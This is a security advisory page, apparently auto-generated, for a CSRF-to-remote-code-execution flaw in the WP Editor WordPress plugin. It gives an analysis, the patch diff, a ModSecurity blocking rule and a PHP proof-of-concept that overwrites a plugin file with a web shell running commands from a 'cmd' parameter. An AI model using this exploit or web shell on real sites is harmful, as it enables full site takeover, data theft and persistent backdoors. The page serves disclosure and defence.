Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2026-3772: WP Editor <= 1.2.9.2 – Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor (wp-editor)

CVE ID CVE-2026-3772
Plugin wp-editor
Severity High (CVSS 8.8)
CWE 352
Vulnerable Version 1.2.9.2
Patched Version 1.2.9.3
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3772:
This vulnerability is a Cross-Site Request Forgery (CSRF) that leads to Remote Code Execution (RCE) in the WP Editor plugin for WordPress versions up to and including 1.2.9.2. The plugin adds a file editor interface for plugins and themes. The save functions lack nonce verification. An attacker can trick a site administrator into clicking a malicious link. This overwrites arbitrary PHP files with attacker-controlled code. The CVSS score is 8.8, reflecting high severity.

The root cause is missing nonce verification in the save functions within `WPEditorPlugins.php` and `WPEditorThemes.php`. The vulnerable code is in the `add_plugins_page()` and `add_themes_page()` methods. The file `wp-editor/classes/WPEditorPlugins.php` lines 60-80 processes POST requests to save plugin file changes. It checks for `$_POST[‘new-content’]` and file writability but never validates a nonce. The same pattern exists in `wp-editor/classes/WPEditorThemes.php` line 104 for theme files. The `wpeditor.php` version 1.2.9.2 triggers these handlers when the admin submits the editor form. The forms in `views/plugin-editor.php` and `views/theme-editor.php` generate a nonce but the `wp_nonce_field()` call was not using the `_wpnonce` parameter name, making the nonce value inaccessible to the server-side validation logic.

Exploitation requires a crafted request that triggers an administrator’s browser. The attacker creates a malicious HTML page or link. This page submits a POST request to the victim’s WordPress admin URL. The target endpoint is `/wp-admin/admin.php?page=wpeditor_plugin_editor` or the theme editor equivalent. The request includes the `action=save_files` parameter, the `new-content` parameter with malicious PHP code, and the target file path as a GET parameter. The administrator must be logged in to WordPress. The attacker must know the target file path relative to the plugin or theme directory. The request lacks a valid nonce, but the vulnerable code does not check for one. The server processes the request and overwrites the file.

The patch adds nonce verification using `wp_verify_nonce()` in the two save functions. In `WPEditorPlugins.php` line 61-63 and `WPEditorThemes.php` line 104-106, the code now checks `$_POST[‘_wpnonce’]` against a context-specific token: `edit-plugin_` or `edit-theme_` concatenated with the full file path. The patch also fixes the form output in `views/plugin-editor.php` line 115 and `views/theme-editor.php` line 124. The `wp_nonce_field()` function now explicitly specifies `_wpnonce` as the name parameter, ensuring the nonce value is submitted with the proper POST key. These two changes together enforce CSRF protection. The nonce ensures the request originates from the legitimate admin interface.

Successful exploitation grants an attacker complete control over the WordPress site. The attacker can inject arbitrary PHP code into any plugin or theme file. This allows the attacker to execute system commands, read the database, install backdoors, and escalate to server-level access. The impact includes total site compromise, data theft, defacement, and malware distribution. The attacker can maintain persistence by embedding shells in commonly executed plugin files.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-editor/classes/WPEditorPlugins.php
+++ b/wp-editor/classes/WPEditorPlugins.php
@@ -58,6 +58,10 @@
     $real_file = WP_PLUGIN_DIR . '/' . $plugin;

     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+      // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-plugin_' . $real_file ) ) {
+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+      }
       $new_content = stripslashes( $_POST['new-content'] );
       if ( file_get_contents( $real_file ) === $new_content ) {
         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
--- a/wp-editor/classes/WPEditorThemes.php
+++ b/wp-editor/classes/WPEditorThemes.php
@@ -101,6 +101,10 @@
     $real_file = $current_theme_root . basename( $file );

     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+      // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-theme_' . $real_file ) ) {
+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+      }
       $new_content = stripslashes( $_POST['new-content'] );
       if ( file_get_contents( $real_file ) === $new_content ) {
         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
--- a/wp-editor/views/plugin-editor.php
+++ b/wp-editor/views/plugin-editor.php
@@ -112,7 +112,7 @@
 	</div>

 	<form name="template" id="template_form" action="" method="post" class="ajax-editor-update" style="float:left width:auto;overflow:hidden;position:relative;">
-		<?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>
+		<?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] ), '_wpnonce' ); ?>
 		<div>
 			<textarea cols="70" rows="25" name="new-content" id="new-content" tabindex="1"><?php echo esc_html( $data['content'] ); ?></textarea>
 			<input type="hidden" name="action" value="save_files" />
--- a/wp-editor/views/theme-editor.php
+++ b/wp-editor/views/theme-editor.php
@@ -121,7 +121,7 @@
 	</div>

 	<form name="template" id="template_form" action="" method="post" class="ajax-editor-update" style="float:left width:auto;overflow:hidden;">
-		<?php wp_nonce_field( 'edit-theme_' . esc_attr( $data['real_file'] )); ?>
+		<?php wp_nonce_field( 'edit-theme_' . esc_attr( $data['real_file'] ), '_wpnonce' ); ?>
 		<div>
 			<textarea cols="70" rows="25" name="new-content" id="new-content" tabindex="1"><?php echo esc_html( $data['content'] ) ?></textarea>
 			<input type="hidden" name="action" value="save_files" />
--- a/wp-editor/wpeditor.php
+++ b/wp-editor/wpeditor.php
@@ -3,7 +3,7 @@
 Plugin Name: WP Editor
 Plugin URI: http://wpeditor.net
 Description: This plugin modifies the default behavior of the WordPress plugin and theme editors.
-Version: 1.2.9.2
+Version: 1.2.9.3
 Requires at least: 3.9
 Author: Benjamin Rojas
 Author URI: http://benjaminrojas.net

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20263772,phase:2,deny,status:403,chain,msg:'CVE-2026-3772 CSRF to RCE via WP Editor plugin',severity:'CRITICAL',tag:'CVE-2026-3772'"
SecRule ARGS_GET:page "@rx ^wpeditor_(plugin|theme)_editor$" "chain"
SecRule ARGS_GET:action|ARGS_POST:action "@streq save_files" "chain"
SecRule ARGS_POST:new-content "@rx \$_(GET|POST|REQUEST|SERVER|COOKIE|FILES|ENV|SESSION)" "t:none,id:20263772"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3772 - WP Editor <= 1.2.9.2 - Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor

$target_url = 'http://example.com/wordpress'; // CHANGE THIS to the target WordPress URL

$admin_url = $target_url . '/wp-admin/admin.php';

// The plugin file to overwrite. This is relative to the plugins directory.
// We target a file that will be executed when the attacker visits any page.
// Here we target a legitimate plugin file to ensure the payload runs.
$plugin_file_path = 'wp-editor/wpeditor.php'; // Overwriting the plugin's own main file is reliable

// Malicious PHP payload that creates a backdoor
$malicious_code = '<?php
/* Atomic Edge security testing payload */
if (isset($_GET["cmd"])) {
    $cmd = $_GET["cmd"];
    system($cmd);
}
?>
';

// Build the POST request body
$post_data = array(
    'action' => 'save_files',
    'new-content' => $malicious_code,
    '_wpnonce' => 'any_value' // The nonce is NOT validated in the vulnerable version, so this value is ignored
);

// The file parameter is passed via GET query string
$full_url = $admin_url . '?page=wpeditor_plugin_editor&file=' . urlencode($plugin_file_path) . '&plugin=' . urlencode($plugin_file_path);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// The admin must be authenticated; we use a valid session cookie
// For demonstration, we assume the attacker provides a cookie jar
// In a real attack, the attacker would trick an admin who is already logged in
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Provide valid admin cookies here
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Exploit attempted. Verify if the file was overwritten by accessing:n";
echo $target_url . '/wp-content/plugins/' . $plugin_file_path . '?cmd=id' . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School